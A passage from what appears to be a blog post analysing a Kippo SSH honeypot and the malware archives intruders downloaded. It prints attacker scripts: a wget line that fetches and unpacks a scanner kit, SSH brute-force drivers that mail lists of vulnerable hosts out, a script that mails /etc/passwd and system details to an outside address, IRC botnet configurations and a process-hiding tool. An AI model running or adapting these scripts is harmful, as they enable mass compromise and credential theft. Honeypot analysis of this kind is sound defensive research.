/&gt;After this operation, 972.4kB of additional disk space will be used.&lt;br /&gt;Get:1 http://ftp.debian.org stable/main vi 0.12-1 [442.2kB]&lt;br /&gt;Fetched 442.2kB in 1s (4493B/s)&lt;br /&gt;Reading package fields... Done&lt;br /&gt;Reading package status... Done&lt;br /&gt;(Reading database ... 177887 files and directories currently installed.)&lt;br /&gt;Unpacking vi (from .../archives/vi_0.12-1_i386.deb) ...&lt;br /&gt;Processing triggers for man-db ...&lt;br /&gt;Setting up vi (0.12-1) ...&lt;br /&gt;server:/tmp/,/fast# vi 1.user&lt;br /&gt;E558: Terminal entry not found in terminfo&lt;br /&gt;server:/tmp/,/fast# &lt;br /&gt;server:/tmp/,/fast# wget http://root-arhive.do.am/scanner/goshNEW.jpg  ; tar zxvf goshNEW.jpg ; cd goshNEW ; chmod +x *&lt;br /&gt;server:/tmp/,/fast# cd ..&lt;br /&gt;server:/tmp/,# ls -a&lt;br /&gt;.        ..       fast.jpg fast     &lt;br /&gt;server:/tmp/,# wget http://root-arhive.do.am/scanner/goshNEW.jpg  ; tar zxvf goshNEW.jpg ; cd goshNEW ; chmod +x *&lt;br /&gt;--2011-03-02 21:11:59--  http://root-arhive.do.am/scanner/goshNEW.jpg&lt;br /&gt;Connecting to root-arhive.do.am:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 3144067 (2M) [image/jpeg]&lt;br /&gt;Saving to: `goshNEW.jpg&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 3,144,067    759K/s  eta 0s   &lt;br /&gt;&lt;br /&gt;2011-03-02 21:12:03 (759 KB/s) - `goshNEW.jpg' saved [3144067/3144067]&lt;br /&gt;goshNEW&lt;br /&gt;goshNEW/a&lt;br /&gt;goshNEW/userrootmic.txt&lt;br /&gt;goshNEW/gen-pass.h&lt;br /&gt;goshNEW/mass&lt;br /&gt;goshNEW/2&lt;br /&gt;goshNEW/ss&lt;br /&gt;goshNEW/pscan2&lt;br /&gt;goshNEW/secure&lt;br /&gt;goshNEW/ssh-scan&lt;br /&gt;goshNEW/sortateusr.txt&lt;br /&gt;goshNEW/CITESTE-INAINTE-SA-INCEPI&lt;br /&gt;goshNEW/vuln.txt&lt;br /&gt;goshNEW/common&lt;br /&gt;goshNEW/1&lt;br /&gt;goshNEW/gen-pass.sh&lt;br /&gt;goshNEW/go.shB&lt;br /&gt;goshNEW/pass_file&lt;br /&gt;goshNEW/5&lt;br /&gt;goshNEW/userroomare.txt&lt;br /&gt;goshNEW/3&lt;br /&gt;goshNEW/mfu.txt&lt;br /&gt;goshNEW/4&lt;br /&gt;goshNEW/screen&lt;br /&gt;goshNEW/go.shA&lt;br /&gt;server:/tmp/,/goshNEW# screen&lt;br /&gt;bash: screen: command not found&lt;br /&gt;server:/tmp/,/goshNEW# ./screen&lt;br /&gt;Shall we play a game? &lt;br /&gt;A strange game. The only winning move is not to play.  How about a nice game of chess?&lt;br /&gt;server:/tmp/,/goshNEW# &lt;br /&gt;server:/tmp/,/goshNEW# apt-get install screen&lt;br /&gt;Reading package lists... Done&lt;br /&gt;Building dependency tree&lt;br /&gt;Reading state information... Done&lt;br /&gt;The following NEW packages will be installed:&lt;br /&gt;  tmpgoshNEWscreen &lt;br /&gt;0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.&lt;br /&gt;Need to get 774.2kB of archives.&lt;br /&gt;After this operation, 1702.8kB of additional disk space will be used.&lt;br /&gt;Get:1 http://ftp.debian.org stable/main tmpgoshNEWscreen 0.19-7 [774.2kB]&lt;br /&gt;Fetched 774.2kB in 1s (4493B/s)&lt;br /&gt;Reading package fields... Done&lt;br /&gt;Reading package status... Done&lt;br /&gt;(Reading database ... 177887 files and directories currently installed.)&lt;br /&gt;Unpacking tmpgoshNEWscreen (from .../archives/tmpgoshNEWscreen_0.19-7_i386.deb) ...&lt;br /&gt;Processing triggers for man-db ...&lt;br /&gt;Setting up tmpgoshNEWscreen (0.19-7) ...&lt;br /&gt;server:/tmp/,/goshNEW# screen&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;Malware analysis&lt;/h1&gt;&lt;p&gt;Kippo also provides another handy function: it stores any downloaded files. This allows us to further analyse some of the malware used by the intruders.&lt;/p&gt;&lt;h2&gt;File http___fiunic_eu_pub.tgz&lt;/h2&gt;&lt;p&gt;An archive containing what looks like source code for an SSH server.&lt;/p&gt;&lt;h2&gt;File http___pinky_clan_su_mech_fast.tgz&lt;/h2&gt;&lt;p&gt;This archive contains an IRC bot. &lt;code&gt;configure.c&lt;/code&gt; shows:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;#############CONF###################################&lt;br /&gt;my $hidden = '/usr/sbin/apache/log';&lt;br /&gt;my $linas_max='4';&lt;br /&gt;my $sleep='5';&lt;br /&gt;my @admins=("Senil","Dereglat");&lt;br /&gt;my @hostauth=("Senil.users.quakenet.org","Dereglat.users.quakenet.org");&lt;br /&gt;my @channels=("#anyone312");&lt;br /&gt;my $nick='bombon';&lt;br /&gt;my $ircname ='furt';&lt;br /&gt;my $realname = 'pe fatza';&lt;br /&gt;my $server='multiplay.uk.quakenet.org';&lt;br /&gt;my $port='6667';&lt;br /&gt;####################################################&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Joining the channel on Quakenet reveals nothing.&lt;/p&gt;&lt;p&gt;The archive also contains an executable called &lt;code&gt;bash&lt;/code&gt;. This is a compiled EnergyMech IRC bot. The source code is also included in the archive, together with configuration:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;SERVER diemen.nl.eu.undernet.org 6667&lt;br /&gt;SERVER London2.UK.EU.Undernet.Org 6667&lt;br /&gt;SERVER 62.231.74.10 6667&lt;br /&gt;SERVER lelystad.nl.eu.undernet.org 6667&lt;br /&gt;SERVER mesa.az.us.undernet.org 6667&lt;br /&gt;SERVER Zagreb.Hr.EU.UnderNet.org 6667&lt;br /&gt;SERVER Helsinki.FI.EU.Undernet.org 6667&lt;br /&gt;SERVER Carouge.CH.EU.Undernet.org 6667&lt;br /&gt;SERVER us.undernet.org 6667&lt;br /&gt;SERVER oslo2.no.eu.undernet.org 6667&lt;br /&gt;ENTITY x&lt;br /&gt;&lt;br /&gt;###BOT 1###&lt;br /&gt;NICK Red-hack1&lt;br /&gt;USERFILE 1.user&lt;br /&gt;CMDCHAR .&lt;br /&gt;LOGIN rosu&lt;br /&gt;IRCNAME  4®  12Welcome  3in  14My  4World 13!!!  7®  &lt;br /&gt;MODES +ix-ws&lt;br /&gt;HASONOTICE&lt;br /&gt;TOG CC          1&lt;br /&gt;TOG CLOAK       1&lt;br /&gt;TOG SPY         1&lt;br /&gt;SET OPMODES     6&lt;br /&gt;SET BANMODES    6&lt;br /&gt;CHANNEL         #canalul-tau&lt;br /&gt;TOG PUB         1&lt;br /&gt;TOG MASS        1&lt;br /&gt;TOG SHIT        1&lt;br /&gt;TOG PROT        1&lt;br /&gt;TOG ENFM        0&lt;br /&gt;SET MKL         7&lt;br /&gt;SET MBL         7&lt;br /&gt;SET MPL         1&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Also here, joining the channel does nothing.&lt;/p&gt;&lt;p&gt;The archive also contains a shell script, used to check if the bot is still running and to restart it:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;#! /bin/sh&lt;br /&gt;RUN=./bash&lt;br /&gt;OPT=&lt;br /&gt;OUTPUT=./mech.cron&lt;br /&gt;if [ -r mech.pid ]; then&lt;br /&gt;  PID=`cat mech.pid`&lt;br /&gt;  if [ -r /proc/$PID ]; then&lt;br /&gt;    exit 0&lt;br /&gt;  fi&lt;br /&gt;  if ( kill -0 $PID 1&amp;gt; /dev/null 2&amp;gt; /dev/null ); then&lt;br /&gt;    exit 0&lt;br /&gt;  fi&lt;br /&gt;fi&lt;br /&gt;echo &amp;gt;&amp;gt; $OUTPUT&lt;br /&gt;echo "Mech restarted:" &amp;gt;&amp;gt; $OUTPUT&lt;br /&gt;( date 2&amp;gt;&amp;amp;1 ) &amp;gt;&amp;gt; $OUTPUT&lt;br /&gt;echo &amp;gt;&amp;gt; $OUTPUT&lt;br /&gt;( $RUN $OPT 2&amp;gt;&amp;amp;1 ) &amp;gt;&amp;gt; $OUTPUT95&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Shell scripts like these are often put in crontabs.&lt;/p&gt;&lt;h2&gt;File http___arhiva_do_am_scan.tar&lt;/h2&gt;&lt;p&gt;This archive contains the often repacked &lt;code&gt;pscan&lt;/code&gt; and &lt;code&gt;ssh-scan&lt;/code&gt; tools. A shell script called &lt;code&gt;start&lt;/code&gt; contains:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;#/bin/bash&lt;br /&gt;# start.sh script&lt;br /&gt;# part of ssh massrooter by pulea&lt;br /&gt;# /j #r.o.o.t pt intrebari :)&lt;br /&gt;&lt;br /&gt;if [ $# != 1 ]; then&lt;br /&gt;        echo "[+] pulea zice :"&lt;br /&gt;sleep 3&lt;br /&gt;        echo "[+] sa-mi bag pula in creierii tai !"&lt;br /&gt;        echo "[+] ex. : $0 &amp;lt;b class&amp;gt;"&lt;br /&gt;        exit;&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;clear&lt;br /&gt;cat a1&lt;br /&gt;if [ -f a4 ]; then&lt;br /&gt;echo "[+] Checking files.."&lt;br /&gt;sleep 3&lt;br /&gt;echo " OK"&lt;br /&gt;perl sshc.c&lt;br /&gt;&lt;br /&gt;./a $1.0&lt;br /&gt;./a $1.1&lt;br /&gt;./a $1.2&lt;br /&gt;./a $1.3&lt;br /&gt;./a $1.4&lt;br /&gt;./a $1.5&lt;br /&gt;./a $1.6&lt;br /&gt;./a $1.7&lt;br /&gt;./a $1.8&lt;br /&gt;./a $1.9&lt;br /&gt;./a $1.10&lt;br /&gt;./a $1.11&lt;br /&gt;./a $1.12&lt;br /&gt;./a $1.13&lt;br /&gt;./a $1.14&lt;br /&gt;./a $1.15&lt;br /&gt;./a $1.16&lt;br /&gt;./a $1.17&lt;br /&gt;./a $1.18&lt;br /&gt;./a $1.19&lt;br /&gt;./a $1.20&lt;br /&gt;cat vuln.txt |mail -s "vuln.txt" luchian8@gmail.com&lt;br /&gt;&lt;br /&gt;#SNIP&lt;br /&gt;&lt;br /&gt;rm -rf sshc.c&lt;br /&gt;killall -9 a &lt;br /&gt;killall -9 a&lt;br /&gt;killall -9 pscan2&lt;br /&gt;if [ "$(whoami)" != "root" ]; then&lt;br /&gt;./sshf&lt;br /&gt;else&lt;br /&gt;./sshf0&lt;br /&gt;fi&lt;br /&gt;clear&lt;br /&gt;echo "[+] momentul adevarului :)"&lt;br /&gt;echo "[+] ne odihnim cateva secunde .."&lt;br /&gt;sleep 5&lt;br /&gt;echo ""&lt;br /&gt;cat vuln.txt&lt;br /&gt;cat vuln.txt &amp;gt;&amp;gt; .vulnold.txt&lt;br /&gt;echo &amp;gt; vuln.txt&lt;br /&gt;cat a6 &amp;gt;&amp;gt; vuln.txt&lt;br /&gt;else&lt;br /&gt;echo "[+] Checking files.."&lt;br /&gt;sleep 3&lt;br /&gt;echo " error"&lt;br /&gt;echo "[+] Some file are missing"&lt;br /&gt;echo "[+] Please reinistall it from your wget"&lt;br /&gt;echo "[+] or ask pulea !"&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I wonder who this luchian8@gmail.com is... Anyway, &lt;code&gt;a&lt;/code&gt; is another shell script running:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;./pscan2 $1 22 &lt;br /&gt;sleep 5&lt;br /&gt;cat $1.pscan.22 |sort |uniq &amp;gt; mfu.txt&lt;br /&gt;oopsnr2=`grep -c . mfu.txt`&lt;br /&gt;echo ""&lt;br /&gt;echo "[+] Attacking $oopsnr2 servers!"&lt;br /&gt;echo ""&lt;br /&gt;perl sshc.c&lt;br /&gt;rm -rf sshc.c&lt;br /&gt;./pass_sh&lt;br /&gt;./ssh-scan 100&lt;br /&gt;rm -rf $1.pscan.22 mfu.txt&lt;br /&gt;echo ""&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;pscan&lt;/code&gt; is a basic port scanner for an IP block. &lt;code&gt;ssh-scan&lt;/code&gt; is a password brute forcer. Other files just contain some dubious ascii art:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt; __^__                                                              __^__&lt;br /&gt;( ___ )------------------------------------------------------------( ___ )&lt;br /&gt; | / |               #help-bnc present`s:                           | \ |&lt;br /&gt; | / |       OmAr'z ssh massrooter build on 11-01-2006              | \ |&lt;br /&gt; | / |                                                              | \ |&lt;br /&gt; | / |                  Thanks to :  OmAr                           | \ |&lt;br /&gt; | / |                 and to all #OmAr members.                    | \ |&lt;br /&gt; | / |                                                              | \ |&lt;br /&gt; | / |    Fucks goes to : all hackers, we are script kiddies..      | \ |&lt;br /&gt; | / |                    so what ? fuck off !                      | \ |&lt;br /&gt; | / |                                                              | \ |&lt;br /&gt; | / |                      EOF by OmAr                             | \ |&lt;br /&gt; | / |--------------------------------------------------------------| \ |&lt;br /&gt; |___|______________[OmAr'z ssh massrooter by OmAr]_________________|___|&lt;br /&gt;(_____)------------------------------------------------------------(_____)&lt;br /&gt;   ^                                                                  ^&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;File http___gblteam_webs_com_gosh.tgz.tar&lt;/h2&gt;&lt;p&gt;Another repackaging of the &lt;code&gt;pscan&lt;/code&gt;-&lt;code&gt;ssh-scan&lt;/code&gt; combination. This one contains a script called &lt;code&gt;secure&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;#!/bin/bash&lt;br /&gt;if [ `whoami` == "root" ]; then&lt;br /&gt;chmod -x /usr/bin/mail&lt;br /&gt;mv /usr/bin/mail /usr/bin/s8&lt;br /&gt;echo " Done , You can scan now "&lt;br /&gt;else&lt;br /&gt;echo -e " you're not root you're `whoami` with id `id` !! "&lt;br /&gt;fi&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;... because disabling &lt;code&gt;mail&lt;/code&gt; totally hides your tracks, yo.&lt;/p&gt;&lt;p&gt;The script &lt;code&gt;scam&lt;/code&gt; contains a variation of the script seen above:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;echo "[+] [+] [+] RK [+] [+] [+]" &amp;gt;&amp;gt; info2&lt;br /&gt;echo "[+] [+] [+] IP [+] [+] [+]" &amp;gt;&amp;gt; info2&lt;br /&gt;/sbin/ifconfig -a &amp;gt;&amp;gt; info2&lt;br /&gt;echo "[+] [+] [+] uptime [+] [+] [+]" &amp;gt;&amp;gt; info2&lt;br /&gt;uptime &amp;gt;&amp;gt; info2&lt;br /&gt;echo "[+] [+] [+] uname -a [+] [+] [+]" &amp;gt;&amp;gt; info2&lt;br /&gt;uname -a &amp;gt;&amp;gt; info2&lt;br /&gt;echo "[+] [+] [+] /etc/issue [+] [+] [+]" &amp;gt;&amp;gt; info2&lt;br /&gt;cat /etc/issue &amp;gt;&amp;gt; info2&lt;br /&gt;echo "[+] [+] [+] passwd [+] [+] [+]" &amp;gt;&amp;gt; info2&lt;br /&gt;cat /etc/passwd &amp;gt;&amp;gt; info2&lt;br /&gt;echo "[+] [+] [+] id [+] [+] [+]" &amp;gt;&amp;gt; info2&lt;br /&gt;id &amp;gt;&amp;gt; info2&lt;br /&gt;echo "[+] [+] [+] Spatiu Hdd / pwd [+] [+] [+]" &amp;gt;&amp;gt; info2&lt;br /&gt;df -h &amp;gt;&amp;gt; info2&lt;br /&gt;pwd &amp;gt;&amp;gt; info2&lt;br /&gt;cat info2 | mail -s "Scanner MaLa Port : ?? | Pass : stii tu :))" mafia89tm@yahoo.com&lt;br /&gt;rm -rf info2&lt;br /&gt;clear&lt;br /&gt;&lt;br /&gt;echo "####################################################################" &lt;br /&gt;echo "#                          ______                                  "&lt;br /&gt;echo "#                        .-.      .-.                               "&lt;br /&gt;echo "#                       /            \                              "&lt;br /&gt;echo "#                      |     zRR      |                             " &lt;br /&gt;echo "#                      |,  .-.  .-.  ,|                             "  &lt;br /&gt;echo "#                      | )(z_/  \z_)( |                             " &lt;br /&gt;echo "#                      |/     /\     \|                             " &lt;br /&gt;echo "#              _       (_     ^^     _)                             " &lt;br /&gt;echo "#      _\ ____) \_______\__|IIIIII|__/_________________________     " &lt;br /&gt;echo "#     (_)[___]{}&amp;lt;________|-\IIIIII/-|__zRR__zRR__zRR___________\    " &lt;br /&gt;echo "#       /     )_/        \          /                               " &lt;br /&gt;echo "#                         \ ______ /                              "&lt;br /&gt;echo "#                         SCANER PRIVAT                             " &lt;br /&gt;echo "#             SCANER FOLOSIT DOAR DE TEAMUL MaLaSorTe               "&lt;br /&gt;echo "#            SACNERUL CONTINE UN PASS_FLIE DE 3MEGA !!              " &lt;br /&gt;echo "####################################################################"&lt;br /&gt;&lt;br /&gt;if [ -f a ]; then&lt;br /&gt;cat vuln.txt |mail -s "Lame Gang Us Roots" mafia89tm@yahoo.com&lt;br /&gt;./a $1.0&lt;br /&gt;./a $1.1&lt;br /&gt;./a $1.2&lt;br /&gt;./a $1.3&lt;br /&gt;./a $1.4&lt;br /&gt;./a $1.5&lt;br /&gt;./a $1.6&lt;br /&gt;./a $1.7&lt;br /&gt;./a $1.8&lt;br /&gt;./a $1.9&lt;br /&gt;./a $1.10&lt;br /&gt;cat vuln.txt |mail -s "Lame Gang Us Roots" mafia89tm@yahoo.com&lt;br /&gt;# SNIP&lt;br /&gt;killall -9 a&lt;br /&gt;else &lt;br /&gt;echo # Ciudat ..Nu Ai Urmat Instructiunile  #&lt;br /&gt;echo # trebui dat mv assh a sau mv scan a   #&lt;br /&gt;echo # orice ai avea tu ... dohh ..         #&lt;br /&gt;killall -9 a&lt;br /&gt;killall -9 pscan2&lt;br /&gt;fi&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;... because writing a for-loop is too hard. I wonder who mafia89tm@yahoo.com is. Also, if you disable &lt;code&gt;mail&lt;/code&gt;, how does &lt;code&gt;mail&lt;/code&gt; work, exactly?&lt;/p&gt;&lt;h2&gt;File: http___no_biju_com_merge_Arhive_devilflood.tar.gz&lt;/h2&gt;&lt;p&gt;A package containing executables, probably used to DoS servers. TCP, UDP, IRC and SMTP flooders are present. There is a list of IP addresses in a txt file, probably targets.&lt;/p&gt;&lt;p&gt;There are also a few configuration files with Undernet IRC channels, but joining them reveals no users.&lt;/p&gt;&lt;h2&gt;File http___www_freewebs_com_iulianshooter_psyBNC2_3_2_4.tgz.tar.gz&lt;/h2&gt;&lt;p&gt;This is &lt;a href="http://www.psybnc.at/about.html"&gt;PsyBNC&lt;/a&gt;:&lt;/p&gt;&lt;blockquote&gt;  &lt;p&gt;psyBNC is an easy-to-use, multi-user,  permanent IRC-Bouncer with many  features. Some of its features include  symmetric ciphering of talk and  connections (Blowfish and IDEA), the  possibility of linking multiple  bouncers to an internal network  including a shared partyline, vhost-  and relay support to connected  bouncers and an extensive online help  system. Many other helpful functions  are included. It compiles on Linux,  FreeBSD, SunOs and Solaris.&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;File http___eu_ro_ca_img.tar&lt;/h2&gt;&lt;p&gt;Another package containing &lt;code&gt;pscan&lt;/code&gt;. There's also an IRC bot present:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;echo "SERVER 82.196.213.250 6666" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "SERVER 208.83.20.130 6667" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "SERVER 195.197.175.21 6669" &amp;gt;&amp;gt; m.set&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;echo "ENTITY $2" &amp;gt;&amp;gt; m.set&lt;br /&gt;&lt;br /&gt;echo "### BOT 1 ###" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "NICK ${denomination[$((RANDOM%num_denominations))]}" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "USERFILE $2.user" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "CMDCHAR ." &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "LOGIN ${denomination[$((RANDOM%num_denominations))]}" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "IRCNAME ${denomination[$((RANDOM%num_denominations))]}" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "MODES +iwsx" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "HASONOTICE" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "VIRTUAL $2" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "TOG CC          1" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "TOG CLOAK       1" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "TOG SPY         1" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "SET OPMODES     6" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "SET BANMODES    6" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "CHANNEL         #$1 " &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "TOG PUB         1" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "TOG MASS        1" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "TOG SHIT        1" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "TOG PROT        1" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "TOG ENFM        0" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "SET MKL         7" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "SET MBL         7" &amp;gt;&amp;gt; m.set&lt;br /&gt;echo "SET MPL         1" &amp;gt;&amp;gt; m.set&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Looking at the intercepted logs (see above) reveals the used channels. Joining this channel leads you to an active community of rooters selling shells on hacked servers.&lt;/p&gt;&lt;h2&gt;File http___freewebtown_com_pacalici_lib.tgz&lt;/h2&gt;&lt;p&gt;Again an IRC bot, together with a shell script checking if the bot is running called &lt;code&gt;y2kupdate&lt;/code&gt; (nice try). There's also source code for a hider program:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;/*&lt;br /&gt;&lt;br /&gt;psf -- Process Stack Faker (a.k.a. Fucker)&lt;br /&gt;Coded by Stas; (C)opyLeft by SysD Destructive Labs, 1997-2003&lt;br /&gt;&lt;br /&gt;Tested on: FreeBSD 4.3, Linux 2.4, NetBSD 1.5, Solaris 2.7&lt;br /&gt;&lt;br /&gt;Compile with:&lt;br /&gt;# gcc -O2 -o h h.c&lt;br /&gt;# strip h&lt;br /&gt;&lt;br /&gt;Did you ever need to *hide* what are you doing on somewhat like public&lt;br /&gt;server? Like Quake server or maybe John The Ripper? 'Cos when your admin&lt;br /&gt;run "ps auwx" or "top" and sees process like that, it's probable you'll&lt;br /&gt;loose your shell on that server. So, what to do? Rootkit is a good solution&lt;br /&gt;but you need root privilegies to install it and it's a bit overkill for&lt;br /&gt;running an inoffensive eggdrop bot (belive me, I saw user installing rootkit&lt;br /&gt;just to hide eggdrop!). Well, this little proggie does a job for you. It&lt;br /&gt;*will not* erase some entry you wish to hide from process stack. It just&lt;br /&gt;changes a commandline for "ps" entry ;)&lt;br /&gt;This principle is widely used in many security-related programs. Nmap was&lt;br /&gt;the first I saw. How does this technique works? Take a look at execv(3)&lt;br /&gt;system call:&lt;br /&gt;&lt;br /&gt;int execv( const char *path, char *const argv[]);&lt;br /&gt;&lt;br /&gt;'path' is a path to executable file. And 'argv' array is... Well, it's&lt;br /&gt;just the same 'argv' from:&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;&lt;br /&gt;where 'argv[0]' is a commandline and 'argv[1]' and higher are paramenters.&lt;br /&gt;Normally 'argv[0]' receives the same value as 'path' from execv(3). But you&lt;br /&gt;also can use other values! For example, when you run Nmap, it can execv(3)&lt;br /&gt;itself with commandline changed to 'pine'. OK, commandline is gone. But what&lt;br /&gt;to do with paramenters? Nmap uses environment to send paramenters user passed&lt;br /&gt;to 'spoofed' process and ignores other paramenters. If you wish to spoof&lt;br /&gt;'nmap -sS -vv -O -P0 -o lhost.log localhost' as 'pine -i', Nmap "remembers"&lt;br /&gt;it's specific switches and re-execs itself as 'pine' with parameter '-i'.&lt;br /&gt;Fine! But John The Ripper, Quake server &amp;amp; eggdrop can't fake parameters in&lt;br /&gt;this way!!! What's the other way? Sorry, it's *very* dumb and *very* ugly...&lt;br /&gt;What happens if you change commandline to something like:&lt;br /&gt;'pine -i                                                            '&lt;br /&gt;(Ya, 'pine -i' plus many space characters 0x20)? Hahah, "ps", "top" &amp;amp; many&lt;br /&gt;other monitors just shift away *real* parameters! So, you don't hide them,&lt;br /&gt;just shift away from screen. Such a "algorithm" doesn't needs neither rootkits,&lt;br /&gt;neither special privilegies! Any user can do that at any time!!! *That's* "psf"&lt;br /&gt;does. Try this:&lt;br /&gt;&lt;br /&gt;# psf -s "pine -i" sleep 30 &amp;amp;&lt;br /&gt;[1] 440&lt;br /&gt;# ps auwx&lt;br /&gt;...&lt;br /&gt;stas        84  0.0  0.6  2012 1232 pts/0    S    19:12   0:00 bash -rcfile .bashrc&lt;br /&gt;stas       440  0.0  0.1  1204  376 tty2     S    20:09   0:00 pine -i&lt;br /&gt;&lt;br /&gt;stas       450  0.0  0.4  2544  816 tty2     R    20:12   0:00 ps auwx&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Hahahaah, that's what we need! Please note that commandline change isn't&lt;br /&gt;immediate, just wait a little before it completes. But... Did you noticed&lt;br /&gt;a white line between processes 440 &amp;amp; 450? Uhm, that's our "shift buffer".&lt;br /&gt;Pray for your admin don't notice that! Anyway, they are many more problems&lt;br /&gt;with parameter shifting. "top" program, for example, shows "command names"&lt;br /&gt;instead of "command lines" by default. You see a file name instead of&lt;br /&gt;'argv[0]' value. "psf" tries to fix that creating symlink with name of&lt;br /&gt;faked commandline to real program (on previous example, it creates symlink&lt;br /&gt;/tmp/.psf-xxxx/pine =&amp;gt; /usr/bin/sleep). Note that it doesn't works on *BSD&lt;br /&gt;systems (*BSD kernel (?) follows symlink and shows real filename anyway).&lt;br /&gt;The ways to discover faked processes I know are:&lt;br /&gt;&lt;br /&gt; * kidding with top(1)&lt;br /&gt; * ps auwx --cols 1024&lt;br /&gt; * cat /proc/[pidn]/cmdline (Linux only)&lt;br /&gt; * whatever non-standart process stack monitors&lt;br /&gt; * looking open files with "lsof" program&lt;br /&gt; * if you use -d (daemonize) option, be careful!!! As any cool daemon should&lt;br /&gt;   do, "psf" closes std(in,out,err). What your admin will think if he (she)&lt;br /&gt;   sees "pine -i" with no parent and neither allocated TTY?!&lt;br /&gt;&lt;br /&gt;Too many, don't you think? So, what's *THE BEST* way to hide processes?&lt;br /&gt;Rootkit sounds well, but it's a bit complex to use, you know... So, IMHO,&lt;br /&gt;you must get source of program you wish to hide and hardcode all parameters&lt;br /&gt;inside executable... After that, rename it in whatever and let it go!&lt;br /&gt;Of course you must program at least C/C++ to do such a trick. Now, if&lt;br /&gt;you're glad with my quick &amp;amp; dirty solution called "psf", happy faking!!!&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Deviously simple. Adding spaces. There's also a configuration file present leading to a lonely IRC server:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;NICK          Sex&lt;br /&gt;USERFILE      1&lt;br /&gt;CMDCHAR       !&lt;br /&gt;LOGIN          tun&lt;br /&gt;IRCNAME       Nelu &lt;br /&gt;MODES         +ix-ws&lt;br /&gt;TOG CC        0&lt;br /&gt;TOG CLOAK     1&lt;br /&gt;TOG SPY       1&lt;br /&gt;SET OPMODES   4&lt;br /&gt;SET BANMODES  6&lt;br /&gt;SET AAWAY     1&lt;br /&gt;TOG NOIDLE    1&lt;br /&gt;&lt;br /&gt;CHANNEL       #brasov&lt;br /&gt;TOG PUB       1&lt;br /&gt;TOG MASS      1&lt;br /&gt;TOG SHIT      1&lt;br /&gt;TOG PROT      1&lt;br /&gt;TOG ENFM      1&lt;br /&gt;SET ENFM      +nt&lt;br /&gt;SET MDL       4&lt;br /&gt;SET MKL       4&lt;br /&gt;SET MBL       4&lt;br /&gt;SET MPL       1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SERVER 200.41.53.1 6667&lt;br /&gt;SERVER chmod.myftp.biz 6667&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Joining the channel also reveals a small hacker community using EnergyMechs on hacked servers to DoS Russion web hosts.&lt;/p&gt;&lt;h2&gt;File http___ema_ucoz_com_ICE_UNIX.tgz&lt;/h2&gt;&lt;p&gt;Again a IRC bot leading to an obscure channel on Undernet. I have not repeated the config here.&lt;/p&gt;&lt;h2&gt;Archive containing .sshd&lt;/h2&gt;&lt;p&gt;A more unique malware script this time. Containing the &lt;code&gt;shv5-rootkit&lt;/code&gt; rootkit, which is, according to the file, "very private", but dates back to 2007, so it's probably an old version. The tools first checks for Tripwire, Snort, and other tools. It then continues to install itself into various directories. And starts to install backdoors into various programs (&lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;top&lt;/code&gt;, 